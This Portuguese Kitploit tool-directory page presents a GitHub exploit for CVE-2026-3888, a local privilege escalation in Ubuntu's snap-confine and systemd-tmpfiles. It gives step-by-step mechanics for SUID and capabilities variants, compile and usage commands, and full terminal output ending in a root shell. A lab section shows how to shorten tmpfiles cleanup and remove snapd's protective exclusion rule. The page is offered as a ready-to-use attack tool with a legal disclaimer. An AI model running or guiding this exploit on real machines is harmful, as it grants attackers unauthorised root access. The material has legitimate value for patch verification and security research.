Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE — Exploit de escalada de privilégios local para CVE-2026-3888, direcionado a snap-confine e systemd-tmpfiles no Ubuntu, fornecendo variantes SUID e de capabilities para obter acesso root. | Kitploit
Ferramentas/GitHubGitHub/thecybergeek/cve-2026-3888-snap-confine-systemd-tmpfiles-lpe
Escalada de PrivilégiosFrameworks de ExploraçãoAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoAprendizado e EducaçãoRed TeamingExploração de BináriosLabs e Prática

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHubthecybergeek/cve-2026-3888-snap-confine-systemd-tmpfiles-lpe

CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE

Exploit de escalada de privilégios local para CVE-2026-3888, direcionado a snap-confine e systemd-tmpfiles no Ubuntu, fornecendo variantes SUID e de capabilities para obter acesso root.

Ver Repositório
172há 5 mesesAinda não revisado

CVE-2026-3888 — snap-confine / systemd-tmpfiles Escalação Local de Privilégios

Escalação local de privilégios de usuário sem privilégios para root completo no Ubuntu Desktop 24.04+ explorando uma condição de corrida TOCTOU entre snap-confine e systemd-tmpfiles. Duas variantes são fornecidas: SUID e Capabilities.

CVSS: 7.8 (Alto) | Aviso: Qualys | Correção: snapd 2.74.2, 17 de março de 2026

Índice

  • Comparação de Variantes
  • Variante 1 — SUID
    • Como Funciona
    • Arquivos
    • Compilação
    • Uso
    • Requisitos
    • Saída
  • Variante 2 — Capabilities
    • Como Funciona
    • Arquivos
    • Compilação
    • Uso
    • Requisitos
    • Saída
  • Configuração do Laboratório
  • Aviso Legal

Comparação de Variantes


Variante 1 — SUID

Como Funciona

  1. systemd-tmpfiles exclui o diretório de imitação .snap obsoleto em /tmp (expiração de 30 dias)
  2. O atacante o recria com conteúdo controlado — todos os arquivos de propriedade do atacante
  3. O exploit executa passo a passo o snap-confine via backpressure de socket AF_UNIX para vencer a corrida de forma confiável durante a sequência de bind-mount de imitação
  4. Bibliotecas de propriedade do atacante são montadas no sandbox como root
  5. ld-linux-x86-64.so.2 é substituído por shellcode que chama setreuid(0,0) + execve
  6. Executar o SUID snap-confine aciona o shellcode com privilégios de root
  7. Um bash SUID é colocado em /var/snap/firefox/common/ para escapar do sandbox

Arquivos

ArquivoDescrição
exploit_suid.cExploit unificado de binário único — todas as 7 fases em um orquestrador baseado em fork
librootshell_suid.cPayload — ELF mínimo que substitui ld-linux-x86-64.so.2 via syscalls brutas x86_64

Compilação

root@kitploit:~
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c

Ambos devem ser compilados (ou compilados de forma cruzada) para Linux x86_64. exploit é vinculado estaticamente para executar dentro do sandbox do snap sem dependências de bibliotecas. librootshell.so usa -nostdlib porque contém apenas syscalls brutas — sem libc.

Uso

root@kitploit:~
./exploit <librootshell.so> [-d] [-s]
SinalizadorDescrição
-dMostrar saída de depuração do snap-confine (modo verboso)
-sPular a espera de limpeza do .snap (requer senha de root)
root@kitploit:~
# Execução normal
./exploit ./librootshell.so

# Modo de depuração
./exploit ./librootshell.so -d

# Tentar novamente após falha
./exploit ./librootshell.so -s

O exploit entra no sandbox, aguarda o systemd-tmpfiles excluir .snap (até 10 dias no Ubuntu 25.10 padrão e até 30 dias no Ubuntu 24.04 padrão) e então executa a corrida automaticamente. Em caso de sucesso, fornece um shell de root.

Requisitos

  • Ubuntu 24.04+ com snapd sem correção (< 2.74.2)
  • snap-confine deve ser SUID-root (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)
  • Um snap com bind-mounts de layout instalado (firefox, snap-store, etc.)
  • systemd-tmpfiles-clean.timer ativo
  • busybox disponível no alvo (/usr/bin/busybox)

Saída

root@kitploit:~
user@ubuntu:~$ snap --version
snap    2.63.1+24.04
snapd   2.63.1+24.04
series  16
ubuntu  24.04
kernel  6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
    CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/user/./librootshell.so (9056 bytes)

[Fase 1] Entrando no sandbox do Firefox...
[+] PID do shell interno: 3122

[Fase 2] Aguardando exclusão do .snap...
[*] Verificando (até 30 dias no Ubuntu padrão).
[*] Dica: use -s para pular.
[+] .snap excluído.

[Fase 3] Destruindo namespace de montagem em cache...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] Namespace destruído.

[Fase 4] Configurando e executando a corrida...
[*]   Diretório de trabalho: /proc/3122/cwd
[*]   Construindo .snap e .exchange...
[*]   285 entradas copiadas para o diretório de exchange
[*]   Iniciando corrida...
[*]   Monitorando snap-confine (PID filho 3543)...

[!]   GATILHO — trocando diretórios...
[+]   TROCA CONCLUÍDA — corrida vencida!
[*]   ld-linux no namespace: user:user 755
[+]   Namespace envenenado PID: 3543

[Fase 5] Injetando payload no namespace envenenado...
[+]   ld-linux de propriedade do uid 1000 (atacante). Corrida confirmada.
[*]   Instalando busybox...
[*]   Escrevendo script de fuga → /tmp/sh
[*]   Sobrescrevendo ld-linux-x86-64.so.2...
[+]   Payload injetado.

[Fase 6] Acionando root via SUID snap-confine...
[*]   snap-confine → snap-confine (gatilho SUID)
[*]   Status de saída: 0

[Fase 7] Verificando...
[+] bash SUID root: /var/snap/firefox/common/bash (modo 4755)
[*] Limpando processos em segundo plano...

================================================================
  SHELL DE ROOT: /var/snap/firefox/common/bash -p
================================================================

bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)

Variante 2 — Capabilities

Como Funciona

  1. systemd-tmpfiles exclui o diretório de imitação .snap obsoleto em /tmp
  2. O atacante o recria com conteúdo controlado — todos os arquivos de propriedade do atacante
  3. O exploit executa passo a passo o snap-confine via backpressure de socket AF_UNIX para vencer a corrida de forma confiável durante a sequência de bind-mount de imitação do /var/lib
  4. O atacante obtém controle de /var/lib/snapd/mount/snap.snap-store.user-fstab
  5. Entradas do user-fstab fazem bind-mount de um /etc envenenado (com ld.so.preload) no sandbox
  6. Executar um binário su SUID-root de /tmp/.snap pré-carrega librootshell.so que chama setreuid(0,0) +

Arquivos

ArquivoDescrição
exploit_caps.cExploit unificado de binário único — todas as 7 fases em um orquestrador baseado em fork
librootshell_caps.cPayload — biblioteca compartilhada com construtor que chama setreuid(0,0) + execve

Compilação

root@kitploit:~
gcc -O2 -static -o exploit exploit_caps.c
gcc -shared -fPIC -nostartfiles -o librootshell.so librootshell_caps.c

Ambos devem ser compilados (ou compilados de forma cruzada) para Linux x86_64. exploit é vinculado estaticamente para executar dentro do sandbox do snap sem dependências de bibliotecas. librootshell.so usa -nostartfiles e um __attribute__((constructor)) — é carregado via ld.so.preload antes do main() do binário alvo.

Uso

root@kitploit:~
./exploit <librootshell.so> [-d] [-s]
SinalizadorDescrição
-dMostrar saída de depuração do snap-confine (modo verboso)
-sPular a espera de limpeza do .snap (use quando .snap já não existir)
root@kitploit:~
# Execução normal
./exploit ./librootshell.so

# Modo de depuração
./exploit ./librootshell.so -d

# Pular espera (tentar novamente)
./exploit ./librootshell.so -s

O exploit entra no sandbox, aguarda o systemd-tmpfiles excluir .snap (até 10 dias no Ubuntu 25.10 padrão e até 30 dias no Ubuntu 24.04 padrão) e então executa a corrida automaticamente. Em caso de sucesso, fornece um shell de root.

Requisitos

  • Ubuntu Desktop 24.04+ com snapd sem correção (< 2.74.2, testado em 2.71.1)
  • snap-confine deve ter capabilities (cap_sys_admin, cap_chown, cap_dac_override, etc.)
  • Snap snap-store instalado (padrão no Ubuntu Desktop)
  • Snap base core22 instalado
  • systemd-tmpfiles-clean.timer ativo
  • busybox disponível no alvo (/usr/bin/busybox)

Saída

root@kitploit:~
user@ubuntu:~$ snap --version
snap    2.71.1+ubuntu25.10.1
snapd   2.71.1+ubuntu25.10.1
series  16
ubuntu  25.10
kernel  6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release 
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=25.10
DISTRIB_CODENAME=questing
DISTRIB_DESCRIPTION="Ubuntu 25.10"
user@ubuntu:~$ ./exploit ./librootshell.so 
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles Capabilities LPE 
================================================================
[*] Payload: /home/user/./librootshell.so (14320 bytes)

[Fase 1] Entrando no sandbox do snap-store...
[+] PID do shell interno: 3501

[Fase 2] Aguardando exclusão do .snap...
[*] Verificando (até 10 dias no Ubuntu 25.10).
[*] Dica: use -s para pular.
[+] .snap excluído.

[Fase 3] Destruindo namespace de montagem em cache...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_wQcOnV//dev: No such file or directory
[+] Namespace destruído (.mnt removido).

[Fase 4] Configurando e executando a corrida...
[*]   Diretório de trabalho: /proc/3501/cwd
[*]   Construindo .snap e .exchange...
[*]   17 entradas copiadas para o diretório de exchange
[*]   Iniciando corrida...
[*]   Monitorando snap-confine (PID filho 3678)...

[!]   GATILHO — trocando diretórios...
[+]   TROCA CONCLUÍDA — corrida vencida!
[+]   Corrida vencida. /var/lib/snapd agora é de propriedade do usuário.

[Fase 5] Configurando payload e user-fstab...
[*]   Copiando /etc para .snap/etc...
[*]   Escrevendo ld.so.preload...
[*]   Escrevendo user-fstab...
[*]   Copiando librootshell.so para /tmp/...
[*]   Copiando busybox...
[*]   Escrevendo script de fuga...
[*]   Trocando var/lib de volta (restaurando metadados originais do snapd)...
[+]   Payload pronto.

[Fase 6] Acionando root via binário SUID em /tmp/.snap...
[*]   Executando: snap-confine → /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su
[*]   Status de saída: 0

[Fase 7] Verificando...
[+] bash SUID root: /var/snap/snap-store/common/bash (modo 4755)
[*] Limpando processos em segundo plano...

================================================================
  SHELL DE ROOT: /var/snap/snap-store/common/bash -p
================================================================

bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)

Configuração do Laboratório

Em uma instalação Ubuntu padrão, a limpeza do .snap leva 30 dias (24.04) ou 10 dias (25.10). Para acelerar isso em testes, reduza a idade do /tmp e o intervalo do timer:

Reduzir a idade de limpeza do /tmp para 4 minutos

Edite /usr/lib/tmpfiles.d/tmp.conf (como root):

root@kitploit:~
# Altere a idade de 30d para 4m
sudo sed -i 's|^q /tmp .\+|q /tmp 1777 root root 4m|' /usr/lib/tmpfiles.d/tmp.conf

Verifique:

root@kitploit:~
grep '^q /tmp' /usr/lib/tmpfiles.d/tmp.conf
# Deve mostrar: q /tmp 1777 root root 4m

Acelerar o timer de limpeza para executar a cada minuto

root@kitploit:~
sudo mkdir -p /etc/systemd/system/systemd-tmpfiles-clean.timer.d
sudo tee /etc/systemd/system/systemd-tmpfiles-clean.timer.d/override.conf > /dev/null <<'EOF'
[Timer]
OnBootSec=1m
OnUnitActiveSec=1m
EOF
sudo systemctl daemon-reload
sudo systemctl restart systemd-tmpfiles-clean.timer

Verifique:

root@kitploit:~
systemctl list-timers systemd-tmpfiles-clean
# A coluna NEXT deve mostrar ~1 minuto a partir de agora

Remover exclusão do .snap (apenas snapd 2.73+)

O snapd 2.73+ adiciona uma regra de exclusão que impede o tmpfiles de limpar .snap. Se o seu sistema tiver isso, verifique e remova:

root@kitploit:~
cat /usr/lib/tmpfiles.d/snapd.conf
# Se você vir: x /tmp/snap-private-tmp/*/tmp/.snap
# Remova essa linha, ou faça downgrade para snapd 2.71.1

Com essas configurações, o .snap será limpo em ~5 minutos após ficar obsoleto, permitindo iteração rápida durante os testes.


Aviso Legal

Este código é fornecido estritamente para fins educacionais, pesquisa de segurança autorizada e testes de penetração onde permissão escrita explícita foi obtida. O autor não assume nenhuma responsabilidade pelo uso indevido deste software. Ao usar este código, você concorda que é o único responsável por suas ações e por quaisquer consequências decorrentes de seu uso. Não use este código contra sistemas que você não possui ou para os quais não tem autorização explícita para testar.

Baixar ferramenta
Ubuntu 24.04 (SUID)Ubuntu 25.10 (Capabilities)
snap-confineSUID-rootCapabilities (cap_sys_admin, etc.)
Snap alvofirefoxsnap-store
Imitar alvo/usr/lib/x86_64-linux-gnu (~285 entradas)/var/lib (~17 entradas)
Vetor de exploraçãoSobrescrever ld-linux-x86-64.so.2 com shellcodeControlar user-fstab + ld.so.preload
Formato do payloadELF estático com syscalls brutasBiblioteca compartilhada com __attribute__((constructor))
Gatilho de rootSUID snap-confine carrega linker dinâmico envenenadoSUID su em /tmp/.snap pré-carrega .so
Requisito de cgroupQualquer nome snap.*Correspondência exata: snap.snap-store.hook.configure
Limpeza do .snap30 dias10 dias
Fuga do sandbox/var/snap/firefox/common/bash/var/snap/snap-store/common/bash
execve("/tmp/sh")
  • Um bash SUID é colocado em /var/snap/snap-store/common/ para escapar do sandbox